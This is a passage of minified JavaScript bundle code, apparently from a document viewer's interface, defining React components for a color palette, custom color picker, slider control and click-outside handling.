r.__clickOutsideHandlerProp(e)},r.__getComponentNode=function(){var e=r.getInstance();return t&&"function"==typeof t.setClickOutsideRef?t.setClickOutsideRef()(e):"function"==typeof e.setClickOutsideRef?e.setClickOutsideRef():Object(u.findDOMNode)(e)},r.enableOnClickOutside=function(){if("undefined"!=typeof document&&!Ag[r._uid]){void 0===Cg&&(Cg=function(){if("undefined"!=typeof window&&"function"==typeof window.addEventListener){var e=!1,t=Object.defineProperty({},"passive",{get:function(){e=!0}}),n=function(){};return window.addEventListener("testPassiveEventSupport",n,t),window.removeEventListener("testPassiveEventSupport",n,t),e}}()),Ag[r._uid]=!0;var e=r.props.eventTypes;e.forEach||(e=[e]),Og[r._uid]=function(e){var t;null!==r.componentNode&&(r.props.preventDefault&&e.preventDefault(),r.props.stopPropagation&&e.stopPropagation(),r.props.excludeScrollbar&&(t=e,document.documentElement.clientWidth<=t.clientX||document.documentElement.clientHeight<=t.clientY)||function(e,t,n){if(e===t)return!0;for(;e.parentNode||e.host;){if(e.parentNode&&Eg(e,t,n))return!0;e=e.parentNode||e.host}return e}(e.composed&&e.composedPath&&e.composedPath().shift()||e.target,r.componentNode,r.props.outsideClickIgnoreClass)===document&&r.__outsideClickHandler(e))},e.forEach((function(e){document.addEventListener(e,Og[r._uid],Tg(wg(r),e))}))}},r.disableOnClickOutside=function(){delete Ag[r._uid];var e=Og[r._uid];if(e&&"undefined"!=typeof document){var t=r.props.eventTypes;t.forEach||(t=[t]),t.forEach((function(t){return document.removeEventListener(t,e,Tg(wg(r),t))})),delete Og[r._uid]}},r.getRef=function(e){return r.instanceRef=e},r._uid=xg(),r}i=n,(r=a).prototype=Object.create(i.prototype),r.prototype.constructor=r,bg(r,i);var s=a.prototype;return s.getInstance=function(){if(e.prototype&&!e.prototype.isReactComponent)return this;var t=this.instanceRef;return t.getInstance?t.getInstance():t},s.componentDidMount=function(){if("undefined"!=typeof document&&document.createElement){var e=this.getInstance();if(t&&"function"==typeof t.handleClickOutside&&(this.__clickOutsideHandlerProp=t.handleClickOutside(e),"function"!=typeof this.__clickOutsideHandlerProp))throw new Error("WrappedComponent: "+o+" lacks a function for processing outside click events specified by the handleClickOutside config option.");this.componentNode=this.__getComponentNode(),this.props.disableOnClickOutside||this.enableOnClickOutside()}},s.componentDidUpdate=function(){this.componentNode=this.__getComponentNode()},s.componentWillUnmount=function(){this.disableOnClickOutside()},s.render=function(){var t=this.props;t.excludeScrollbar;var n=function(e,t){if(null==e)return{};var n,r,o={},i=Object.keys(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||(o[n]=e[n]);return o}(t,["excludeScrollbar"]);return e.prototype&&e.prototype.isReactComponent?n.ref=this.getRef:n.wrappedRef=this.getRef,n.disableOnClickOutside=this.disableOnClickOutside,n.enableOnClickOutside=this.enableOnClickOutside,Object(l.createElement)(e,n)},a}(l.Component),n.displayName="OnClickOutside("+o+")",n.defaultProps={eventTypes:["mousedown","touchstart"],excludeScrollbar:t&&t.excludeScrollbar||!1,outsideClickIgnoreClass:"ignore-react-onclickoutside",preventDefault:!1,stopPropagation:!1},n.getClass=function(){return e.getClass?e.getClass():e},r},Pg=(n(946),function(e){var t=e.style,n=void 0===t?{}:t;return s.a.createElement("div",{className:"divider-container",style:n},s.a.createElement("div",{className:"divider-horizontal"}))});n(947);function Mg(e){return(Mg="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Rg(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function jg(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function Lg(e,t){return(Lg=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function Ig(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=Fg(e);if(t){var o=Fg(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return Ng(this,n)}}function Ng(e,t){if(t&&("object"===Mg(t)||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return Dg(e)}function Dg(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function Fg(e){return(Fg=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function Bg(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var Hg=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,"prototype",{writable:!1}),t&&Lg(e,t)}(i,e);var t,n,r,o=Ig(i);function i(){var e;Rg(this,i);for(var t=arguments.length,n=new Array(t),r=0;r<t;r++)n[r]=arguments[r];return Bg(Dg(e=o.call.apply(o,[this].concat(n))),"setActivePalette",(function(t){var n=e.props;(0,n.setActivePalette)(n.colorMapKey,t)})),e}return t=i,(n=[{key:"render",value:function(){var e=this,t=this.props,n=t.t,r=t.colorPalette,o=t.colorMapKey,i=t.toolName,a=(t.isTextColorPaletteDisabled,t.isBorderColorPaletteDisabled,t.isFillColorPaletteDisabled,t.disableSeparator),l=sc(o).availablePalettes;return i&&(i.includes("Line")||i.includes("Arrow")||i.includes("Polyline"))?s.a.createElement("div",{className:"palette-options"},["StrokeColor","FillColor"].map((function(e,t){return s.a.createElement(s.a.Fragment,{key:t},s.a.createElement(ef,{content:"option.annotationColor.".concat(e)},s.a.createElement("div",{className:js()({"palette-options-button":!0,active:r===e,disabled:"FillColor"===e})},n("option.annotationColor.".concat(e)))),t<1&&s.a.createElement("div",{className:"palette-options-divider"}))}))):l.length<2?a?null:s.a.createElement(Pg,null):s.a.createElement("div",{className:"palette-options"},l.map((function(t,o){return s.a.createElement(s.a.Fragment,{key:o},s.a.createElement(ef,{content:"option.annotationColor.".concat(t)},s.a.createElement("button",{className:js()({"palette-options-button":!0,active:r===t}),onClick:function(){return e.setActivePalette(t)}},n("option.annotationColor.".concat(t)))),o<l.length-1&&s.a.createElement("div",{className:"palette-options-divider"}))})))}}])&&jg(t.prototype,n),r&&jg(t,r),Object.defineProperty(t,"prototype",{writable:!1}),i}(s.a.PureComponent);Bg(Hg,"propTypes",{style:Is.a.object.isRequired,colorPalette:Is.a.oneOf(["TextColor","StrokeColor","FillColor"]),colorMapKey:Is.a.string.isRequired,setActivePalette:Is.a.func.isRequired,t:Is.a.func.isRequired,isTextColorPaletteDisabled:Is.a.bool,isFillColorPaletteDisabled:Is.a.bool,isBorderColorPaletteDisabled:Is.a.bool});var Vg=Q((function(e){return{isTextColorPaletteDisabled:fi.isElementDisabled(e,"textColorPalette"),isFillColorPaletteDisabled:fi.isElementDisabled(e,"fillColorPalette"),isBorderColorPaletteDisabled:fi.isElementDisabled(e,"borderColorPalette")}}),{setActivePalette:Ps.setActivePalette})(xm(null,{wait:!1})(Hg));n(274);function zg(e){return(zg="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Ug(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function Gg(e,t){return(Gg=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function Wg(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=Yg(e);if(t){var o=Yg(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return qg(this,n)}}function qg(e,t){if(t&&("object"===zg(t)||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return Zg(e)}function Zg(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function Yg(e){return(Yg=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function $g(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var Kg=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,"prototype",{writable:!1}),t&&Gg(e,t)}(i,e);var t,n,r,o=Wg(i);function i(e){var t;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,i),$g(Zg(t=o.call(this,e)),"setColor",(function(e){var n=t.props,r=n.property,o=n.onStyleChange;e?o(r,new window.Annotations.Color(e)):o(r,new window.Annotations.Color(0,0,0,0))})),t.palette=["#F1A099","#FFC67B","#FFE6A2","#80E5B1","#92E8E8","#A6A1E6","#E2A1E6","#E44234","#FF8D00","#FFCD45","#00CC63","#25D2D1","#4E7DE9","#C544CE","#88271F","#B54800","#F69A00","#007A3B","#167E7D","#2E4B8B","#76287B","#FFFFFF","#CDCDCD","#9C9C9C","#696969","#272727","#000000","transparency"],t}return t=i,(n=[{key:"render",value:function(){var e=this,t=this.props,n=t.hasPadding,r=t.style,o=void 0===r?{}:r,i=t.property,a=t.color,l=t.overridePalette,u=t.overridePalette2,c=t.colorMapKey,f=t.t;if(t.isDisabled)return null;var d=!("TextColor"===i||"StrokeColor"===i),p=u||(null==l?void 0:l[c])||(null==l?void 0:l.global)||this.palette;d||(p=p.filter((function(e){return"transparency"!==(null==e?void 0:e.toLowerCase())})));var h=s.a.createElement("svg",{width:"100%",height:"100%",className:js()({transparent:!0})},s.a.createElement("line",{stroke:"#d82e28",x1:"0",y1:"100%",x2:"100%",y2:"0",strokeWidth:"2",strokeLinecap:"round"}));return s.a.createElement("div",{"data-element":"colorPalette",className:js()({ColorPalette:!0,padding:n}),style:o},p.map((function(e){return null==e?void 0:e.toLowerCase()})).map((function(t,n){var r,o,i;return t?s.a.createElement("button",{key:n,className:"cell-container",onClick:function(){e.setColor("transparency"===t?null:t)},"aria-label":"".concat(f("option.colorPalette.colorLabel")," ").concat(n+1)},s.a.createElement("div",{className:js()({"cell-outer":!0,active:(null==a||null===(r=a.toHexString)||void 0===r||null===(o=r.call(a))||void 0===o?void 0:o.toLowerCase())===t||!(null!=a&&null!==(i=a.toHexString)&&void 0!==i&&i.call(a))&&"transparency"===t})},s.a.createElement("div",{className:js()({cell:!0,border:"#ffffff"===t||"transparency"===t}),style:{backgroundColor:t}},"transparency"===t&&h))):s.a.createElement("div",{key:n,className:"dummy-cell"})})))}}])&&Ug(t.prototype,n),r&&Ug(t,r),Object.defineProperty(t,"prototype",{writable:!1}),i}(s.a.PureComponent);$g(Kg,"propTypes",{property:Is.a.string.isRequired,color:Is.a.object,onStyleChange:Is.a.func.isRequired,overridePalette:Is.a.oneOfType([Is.a.array,Is.a.object]),colorMapKey:Is.a.string});var Xg=Q((function(e){return{overridePalette:fi.getCustomElementOverrides(e,"colorPalette"),isDisabled:fi.isElementDisabled(e,"colorPalette")}}))(xm()(Kg));n(948);function Qg(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Jg(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Jg(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Jg(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var ev=function(e){var t=e.color,n=e.customColors,r=void 0===n?[]:n,o=e.getHexColor,i=e.openColorPicker,a=e.handleColorOnClick,u=e.openDeleteModal,c=e.colorToBeDeleted,f=e.setColorToBeDeleted,d=e.enableEdit,p=e.disableTitle,h=void 0!==p&&p,m=e.colorsAreHex,g=void 0!==m&&m;Object(l.useEffect)((function(){r.includes(g?t:o(t))?f(g?t:o(t)):f("")}),[t]);var v=Qg(Ks(),1)[0];return s.a.createElement("div",null,s.a.createElement("div",{className:"colorPicker"},!h&&s.a.createElement("div",{className:"colorPickerController"},s.a.createElement("span",null,v("annotation.custom"))),s.a.createElement("div",{className:"colorPickerColors ColorPalette"},r.map((function(e,n){var r,o;return s.a.createElement("button",{key:e,className:"cell-container",onClick:function(){return a(e)},"aria-label":"".concat(v("option.colorPalette.colorLabel")," ").concat(n+1)},s.a.createElement("div",{className:js()({"cell-outer":!0,active:g?(null==t?void 0:t.toLowerCase())===e.toLowerCase():(null==t||null===(r=t.toHexString)||void 0===r||null===(o=r.call(t))||void 0===o?void 0:o.toLowerCase())===e.toLowerCase()})},s.a.createElement("div",{className:js()({cell:!0,border:"#ffffff"===e.toLowerCase()||"transparency"===e}),style:{backgroundColor:e}},"transparency"===e&&transparentIcon)))})),d&&s.a.createElement("button",{className:"cell-container"},s.a.createElement("div",{className:"cell-outer"},s.a.createElement("div",{className:"cellIcon",id:"addCustomColor",onClick:function(){i&&i(!0)}},s.a.createElement(cf,{glyph:"icon-header-zoom-in-line"})))),d&&r.length>0&&s.a.createElement("button",{className:"cell-container",id:"removeCustomColor",disabled:!c,onClick:u},s.a.createElement("div",{className:"cell-outer"},s.a.createElement("div",{className:"cellIcon"},s.a.createElement(cf,{glyph:"icon-delete-line"})))))))},tv=["property","onStyleChange","color","enableEdit"];function nv(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function rv(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?nv(Object(n),!0).forEach((function(t){ov(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):nv(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function ov(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function iv(e){return function(e){if(Array.isArray(e))return cv(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||uv(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function av(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function lv(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){av(i,r,o,a,l,"next",e)}function l(e){av(i,r,o,a,l,"throw",e)}a(void 0)}))}}function sv(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||uv(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function uv(e,t){if(e){if("string"==typeof e)return cv(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?cv(e,t):void 0}}function cv(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function fv(e,t){if(null==e)return{};var n,r,o=function(e,t){if(null==e)return{};var n,r,o={},i=Object.keys(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}var dv=function(e){var t=e.property,n=e.onStyleChange,r=e.color,o=e.enableEdit,i=fv(e,tv),a=re(),u=sv(Ks(),1)[0],c=sv(Object(l.useState)(""),2),f=c[0],d=c[1],p=sv(Object(l.useState)(""),2),h=p[0],m=p[1],g=le(fi.getCustomColor),v=le(fi.getCustomColors);Object(l.useEffect)((function(){g&&r&&(f||y(g)===y(r))&&E(g)}),[g,f]);var y=function(e){return e&&e.A?e.toHexString().toLowerCase():"#000000"},b=function(e){d(e?"add":"update"),a(Ps.openElement("ColorPickerModal"))},w=function(){var e=lv(regeneratorRuntime.mark((function e(){var t,n,r,o;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:t=u("warning.colorPicker.deleteMessage"),n=u("warning.colorPicker.deleteTitle"),r=u("action.ok"),o={message:t,title:n,confirmBtnText:r,onConfirm:function(){var e=lv(regeneratorRuntime.mark((function e(){return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:t=void 0,t=v.filter((function(e){return e!=h})),a(Ps.setCustomColors(t)),m(""),a(Ps.setCustomColor(null));case 1:case"end":return e.stop()}var t}),e)})));return function(){return e.apply(this,arguments)}}()},a(Ps.showWarningMessage(o));case 5:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}(),E=function(e){if(e){var o,i,l=y(e),s=v.includes(l),u=v.indexOf((null==r||null===(o=r.toHexString)||void 0===o||null===(i=o.call(r))||void 0===i?void 0:i.toLowerCase())||"");if("add"===f)s||a(Ps.setCustomColors([].concat(iv(v),[l])));else if("update"===f&&!s){var c=iv(v);c[u]=l,a(Ps.setCustomColors(c))}n(t,e)}},S=rv(rv({},i),{},{color:r,property:t,getHexColor:y,handleColorOnClick:function(e){n(t,new window.Annotations.Color(e)),r&&0!==r.A&&r.toHexString().toLowerCase()&&e===r.toHexString().toLowerCase()&&(a(Ps.setCustomColor(r)),o&&b(!1))},customColors:v,openColorPicker:b,colorToBeDeleted:h,setColorToBeDeleted:m,openDeleteModal:w,enableEdit:o});return s.a.createElement(ev,S)},pv=function(e){return e?8:4};n(949);function hv(e){return(hv="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function mv(){return(mv=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function gv(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function vv(e,t){return(vv=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function yv(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=Ev(e);if(t){var o=Ev(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return bv(this,n)}}function bv(e,t){if(t&&("object"===hv(t)||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return wv(e)}function wv(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function Ev(e){return(Ev=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function Sv(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var Cv=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,"prototype",{writable:!1}),t&&vv(e,t)}(i,e);var t,n,r,o=yv(i);function i(e){var t;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,i),Sv(wv(t=o.call(this,e)),"updateSvg",(function(){t.setLineLength(),t.forceUpdate()})),Sv(wv(t),"setLineLength",(function(){t.lineLength=.94*t.sliderSvg.current.getBoundingClientRect().width-2*pv(t.props.isMobile)})),Sv(wv(t),"onMouseDown",(function(e){e.preventDefault(),t.isMouseDown=!0,t.onMove(e.nativeEvent)})),Sv(wv(t),"onMouseUp",(function(e){if(!!e.touches||t.isMouseDown){var n=t.props,r=n.property;(0,n.onStyleChange)(r,(0,n.convertRelativeCirclePositionToValue)(t.getRelativeCirclePosition(e))),t.props.withInputField&&t.setState({isEiditingInputField:!1}),t.isMouseDown=!1}})),Sv(wv(t),"onTouchStart",(function(e){t.onMove(e)})),Sv(wv(t),"onMove",(function(e){if(!!e.touches||t.isMouseDown){e.preventDefault();var n=t.props,r=n.property,o=n.onSliderChange,i=(0,n.convertRelativeCirclePositionToValue)(t.getRelativeCirclePosition(e));o(r,i),t.setState({localValue:i})}})),Sv(wv(t),"getRelativeCirclePosition",(function(e){var n,r=!e.touches,o=pv(t.props.isMobile),i=o+t.lineLength,a=t.sliderSvg.current.getBoundingClientRect().left;return(n=r?e.pageX-a:e.touches[0].pageX-a)<o?n=o:n>i&&(n=i),(n-o)/t.lineLength})),Sv(wv(t),"onInputChange",(function(e){var n=t.props,r=n.getLocalValue,o=n.property,i=n.onSliderChange,a=n.max;if("number"===n.inputFieldType&&(e.target.value||0===e.target.value)){e.target.value>a&&(e.target.value=a);var l=e.target.value,s=r?r(l):l;i(o,s),t.setState({localValue:s})}})),Sv(wv(t),"onInputKeyDown",(function(e){"Enter"===e.key&&t.inputRef.current.blur()})),Sv(wv(t),"onInputBlur",(function(e){var n=t.props,r=n.min,o=n.getLocalValue;if(0!==t.inputRef.current.value&&!t.inputRef.current.value||t.inputRef.current.value<r){t.inputRef.current.value=r;var i=o?o(r):r;t.setState({localValue:i})}t.setState({isEiditingInputField:e})})),Sv(wv(t),"onInputFocus",(function(e){t.setState({isEiditingInputField:e})})),Sv(wv(t),"getInputElement",(function(){var e=t.props,n=e.inputFieldType,r=e.min,o=e.max,i=e.step,a=e.getDisplayValue,l=a(t.state.localValue);return t.state.isEiditingInputField&&"number"===n?s.a.createElement("div",{className:"slider-input-wrapper"},s.a.createElement("input",{autoFocus:!0,defaultValue:parseFloat(l),type:n,onChange:t.onInputChange,onKeyDown:t.onInputKeyDown,className:"slider-input-field",onBlur:function(){return t.onInputBlur(!1)},max:o,min:r,step:i,ref:t.inputRef})):s.a.createElement("input",{readOnly:!0,type:"text",className:"slider-input-field",value:a(t.state.localValue),onFocus:t.onInputFocus})})),Sv(wv(t),"renderSlider",(function(){var e=t.props,n=e.dataElement,r=e.displayProperty,o=e.getCirclePosition,i=e.t,a=e.withInputField,l=e.getDisplayValue,u=o(t.lineLength,t.state.localValue);return s.a.createElement("div",{className:"slider","data-element":n},s.a.createElement("div",{className:"slider-property",onMouseDown:function(e){return e.preventDefault()}},i("option.slider.".concat(r))),s.a.createElement("div",{className:"slider-element-container"},s.a.createElement("svg",{"data-element":n,onMouseDown:t.onMouseDown,onTouchStart:t.onTouchStart,ref:t.sliderSvg},s.a.createElement("line",{x1:pv(t.props.isMobile),y1:"50%",x2:u,y2:"50%",strokeWidth:"2",stroke:"#00a5e4",strokeLinecap:"round"}),s.a.createElement("line",{x1:u,y1:"50%",x2:t.lineLength+pv(t.props.isMobile),y2:"50%",strokeWidth:"2",stroke:"#e0e0e0",strokeLinecap:"round"}),s.a.createElement("circle",{cx:u,cy:"50%",r:pv(t.props.isMobile),fill:"#00a5e4"})),a?t.getInputElement():s.a.createElement("div",{className:"slider-value"},l(t.state.localValue))))})),t.isMouseDown=!1,t.sliderSvg=s.a.createRef(),t.inputRef=s.a.createRef(),t.lineLength=0,t.state={localValue:e.value,isEiditingInputField:!1},t}return t=i,(n=[{key:"componentDidMount",value:function(){window.addEventListener("mousemove",this.onMove),window.addEventListener("mouseup",this.onMouseUp),window.addEventListener("orientationchange",this.updateSvg),window.addEventListener("resize",this.updateSvg),this.sliderSvg.current.addEventListener("touchmove",this.onMove,{passive:!1}),this.updateSvg()}},{key:"componentDidUpdate",value:function(e){e.value!==this.props.value&&this.setState({localValue:this.props.value})}},{key:"UNSAFE_componentWillUpdate",value:function(){this.setLineLength()}},{key:"componentWillUnmount",value:function(){window.removeEventListener("mousemove",this.onMove),window.removeEventListener("mouseup",this.onMouseUp),window.removeEventListener("orientationchange",this.updateSvg),window.removeEventListener("resize",this.updateSvg),this.sliderSvg.current.removeEventListener("touchmove",this.onMove,{passive:!1})}},{key:"render",value:function(){return _t?s.a.createElement("div",{className:"slider"},this.renderSlider()):this.renderSlider()}}])&&gv(t.prototype,n),r&&gv(t,r),Object.defineProperty(t,"prototype",{writable:!1}),i}(s.a.PureComponent);Sv(Cv,"propTypes",{property:Is.a.string.isRequired,value:Is.a.oneOfType([Is.a.number,Is.a.string]),displayProperty:Is.a.string.isRequired,getDisplayValue:Is.a.func.isRequired,onSliderChange:Is.a.func.isRequired,dataElement:Is.a.string,getCirclePosition:Is.a.func.isRequired,convertRelativeCirclePositionToValue:Is.a.func.isRequired,onStyleChange:Is.a.func.isRequired,t:Is.a.func.isRequired,withInputField:Is.a.bool,inputFieldType:Is.a.string,min:Is.a.number,max:Is.a.number,step:Is.a.number,getLocalValue:Is.a.func});var xv=xm(null,{wait:!1})(Cv),Ov=function(e){var t=Rf(["(max-width: 640px)"],[!0],!1);return s.a.createElement(xv,mv({},e,{isMobile:t}))};var Av=function(){return(Av=Object.assign||function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var o in t=arguments[n])Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o]);return e}).apply(this,arguments)};function _v(e,t){var n={};for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&t.indexOf(r)<0&&(n[r]=e[r]);if(null!=e&&"function"==typeof Object.getOwnPropertySymbols){var o=0;for(r=Object.getOwnPropertySymbols(e);o<r.length;o++)t.indexOf(r[o])<0&&Object.prototype.propertyIsEnumerable.call(e,r[o])&&(n[r[o]]=e[r[o]])}return n}var Tv=new(function(){function e(){var e=this;this._handleFirstTab=function(t){"Tab"===t.key&&(e._setIsUserTabbing(!0),e._tabToMouseListener())},this._handleFirstMouse=function(){e._setIsUserTabbing(!1),e._mouseToTabListener()},this._subscribers=[],this._isUserTabbing=!1}return Object.defineProperty(e.prototype,"value",{get:function(){return this._isUserTabbing},enumerable:!1,configurable:!0}),e.prototype.subscribe=function(e){return 0===this._subscribers.length&&(this._isUserTabbing?this._tabToMouseListener():this._mouseToTabListener()),this._subscribers.includes(e)||this._subscribers.push(e),this._unsubscribe(e)},e.prototype._unsubscribe=function(e){var t=this;return function(){t._subscribers=t._subscribers.filter((function(t){return t!==e})),0===t._subscribers.length&&t._removeAllListeners()}},e.prototype._setIsUserTabbing=function(e){this._isUserTabbing=e,this._subscribers.forEach((function(e){return e()}))},e.prototype._tabToMouseListener=function(){window.removeEventListener("keydown",this._handleFirstTab),window.addEventListener("mousedown",this._handleFirstMouse)},e.prototype._mouseToTabListener=function(){window.removeEventListener("mousedown",this._handleFirstMouse),window.addEventListener("keydown",this._handleFirstTab)},e.prototype._removeAllListeners=function(){window.removeEventListener("mousedown",this._handleFirstMouse),window.removeEventListener("keydown",this._handleFirstTab)},e}());function kv(e,t){var n=Object(l.useState)(!1),r=n[0],o=n[1];return{focused:r,handleOnFocus:Object(l.useCallback)((function(t){o(!0),null==e||e(t)}),[e]),handleOnBlur:Object(l.useCallback)((function(e){o(!1),null==t||t(e)}),[t])}}var Pv=0;function Mv(e){return void 0===e&&(e="id"),e+"_"+(Pv++).toString(16)}function Rv(e){return Object(l.useMemo)((function(){return e||Mv("label")}),[e])}function jv(e){return s.a.createElement("svg",Av({xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},e),s.a.createElement("path",{d:"M10 15.586L6.707 12.293 5.293 13.707 10 18.414 19.707 8.707 18.293 7.293z"}))}function Lv(e){return s.a.createElement("svg",Av({xmlns:"http://www.w3.org/2000/svg",width:"12",height:"12",viewBox:"0 0 12 